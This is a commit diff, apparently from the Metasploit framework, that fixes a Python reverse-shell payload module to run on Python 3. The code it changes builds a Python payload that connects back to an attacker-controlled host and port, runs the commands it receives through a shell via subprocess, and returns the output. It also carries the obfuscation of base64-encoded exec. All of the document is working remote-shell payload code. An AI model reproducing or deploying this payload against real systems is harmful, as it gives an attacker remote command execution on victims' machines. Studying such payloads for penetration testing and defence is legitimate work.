fix #14207, fix python/shell_reverse_tcp on python3

This commit is contained in:
Tim W
2020-10-30 17:42:57 +08:00
parent d3e3291bd1
commit 41d984e6cc
4 changed files with 15 additions and 22 deletions
@@ -12,6 +12,7 @@ module MetasploitModule
CachedSize = 397
include Msf::Payload::Single
include Msf::Payload::Python
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
@@ -47,7 +48,7 @@ module MetasploitModule
cmd = ''
dead = Rex::Text.rand_text_alpha(2)
# Set up the socket
cmd << "import socket,os\n"
cmd << "import socket,subprocess\n"
cmd << "so=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)\n"
cmd << "so.connect(('#{datastore['LHOST']}',#{ datastore['LPORT']}))\n"
# The actual IO
@@ -55,14 +56,11 @@ module MetasploitModule
cmd << "while not #{dead}:\n"
cmd << "\tdata=so.recv(1024)\n"
cmd << "\tif len(data)==0:\n\t\t#{dead}=True\n"
cmd << "\tstdin,stdout,stderr,=os.popen3(data)\n"
cmd << "\tstdout_value=stdout.read()+stderr.read()\n"
cmd << "\tp=subprocess.Popen(data, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n"
cmd << "\tstdout_value=p.stdout.read()+p.stderr.read()\n"
cmd << "\tso.send(stdout_value)\n"
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))"
cmd
py_create_exec_stub(cmd)
end
end